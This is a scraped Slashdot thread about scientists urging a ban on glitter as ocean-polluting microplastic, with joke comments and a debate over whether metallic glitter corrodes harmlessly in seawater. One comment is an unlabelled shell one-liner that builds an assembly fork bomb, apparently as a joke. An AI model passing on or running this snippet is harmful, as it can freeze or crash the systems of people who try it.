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Scientists Call For Ban On Glitter, Say It's a Global Hazard That Pollutes Oceans (cnet.com)
An anonymous reader quotes a report from CNET: Whether you love to add a little sparkle to your skin, or you think glitter truly is the herpes of the craft world (once it's on you, it never comes off), some scientists are now claiming that glitter is a hazard to the environment. Glitter, along with microbeads, are considered to fall under the category of microplastics, which are defined as plastics which are less than five millimeters in length. Microbeads are often found in facial scrubs, toothpaste, soaps, cosmetics and more. These microbeads pass through water filtration systems after usage but don't disintegrate, and often end up being consumed by marine life, causing concern among scientists keeping a close eye on how pollution effects fish.
"I think all glitter should be banned, because it's microplastic," Dr. Trisia Farrelly of New Zealand's Massey University told the Independent. Historically, glitter was made from mica rock particles, glass and even crushed beetles. Modern-day crafting glitter is made primarily from metals, while fine-milled cosmetic glitter is made from polyester, foil and plastics.
"I think all glitter should be banned, because it's microplastic," Dr. Trisia Farrelly of New Zealand's Massey University told the Independent. Historically, glitter was made from mica rock particles, glass and even crushed beetles. Modern-day crafting glitter is made primarily from metals, while fine-milled cosmetic glitter is made from polyester, foil and plastics.
It's a goddamned sneaky backdoor pogrom against FABULOUSNESS!
the preceding comment is my own and in no way reflects the opinion of the Joint Chiefs of Staff
I forget which comedian said it, but I recall a bit where compared glitter to herpes. Once you've got it, you can't get rid of it.
We need a Glitter Regulatory Administration, laying down the rules and protecting us from our own over-glitterousness.
Think of the Shiny Happy People! What will happen to them?
It must have been something you assimilated. . . .
NO ONE CAN!
https://shipyourenemiesglitter...
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
They'll become strippers like God intended.
But what becomes of strippers without glitter? I think we need to put our foot down on this anti-glitter hysteria before it does permanent damage.
You are welcome on my lawn.
Make the stuff (slowly) water-soluble. So that it can be washed off — in the shower or washing machine.
To make it even less harmful — and sought after — make it edible...
In Soviet Washington the swamp drains you.
The problem is almost entirely the uniquely small size and sudden introduction into a foreign environment. There is a major difference between metal in the ground as ore and metal as it is used in industry, and again a difference between e.g. 1 gram/trillion liters in sea water and 1 gram/billion liters, for everything that breathes it or otherwise lives in constant contact with it. Not just animals but plants, and even both in ecosystems sustain damage. It is the change in availability that literally crowds out existing organisms, causes metabolic problems with what eats it, and especially with what breathes it. Plastic does all that plus has additional problems from chemical leaching that directly harms people, rather than just their food supply.
It depends strongly on the type of metal though. Iron, even in small chunks, is not going to be an issue because it will rapidly oxidise to rust which is readily found naturally. On the other hand, a metal like lead is highly toxic and relatively stable and is really bad for the environment. So I'm not saying that metal glitter is necessarily fine for the environment all I am pointing out is that if microplastics are bad for the environment then it does not logically follow that we should ban metal glitter. This would be like arguing that plastic bags are bad for the environment so therefore we should ban paper bags.
How do you think I met my first two wives?
You are welcome on my lawn.
Except chemistry is very specific, and metal glitter is partly aluminum and partly PET, none of which behaves remotely like iron. Think metallised film, "PET is a hard, stiff, strong, dimensionally stable material that absorbs very little water. " This means it isn't biodegradable, and doesn't dissolve in water at appreciable rates vs the amounts being discharged. There is a wiki link too if you google that but it is less direct.
First they came for the glitter, and I did not speak out—
Because I was not glitter.
Then they came for the glue, and I did not speak out—
Because I was not glue.
Then they came for the paint, and I did not speak out—
Because I was not paint.
Then they came for me—and there was nothing left to do crafts with.
#DeleteFacebook
I own a boat. Every metal I put into the sea turns into its oxidized form (i.e. ore) within months, if not weeks. I have to work my butt off to prevent this (paint, coatings, sacrificial anodes, galvanic isolator). There are above-water metal parts which I thought were thoroughly painted, yet a few days after being splashed with seawater I notice extensive corrosion.
If metallic glitter can somehow survive in the ocean for more than a few months with zero maintenance effort, then I wanna know what metal it's made out of so I can build my boat out of it. I'm completely on board with a ban on plastic glitter (I've had to vacuum way too much of that crap up out of my carpets). But I seriously doubt metallic glitter is worthy of such a ban.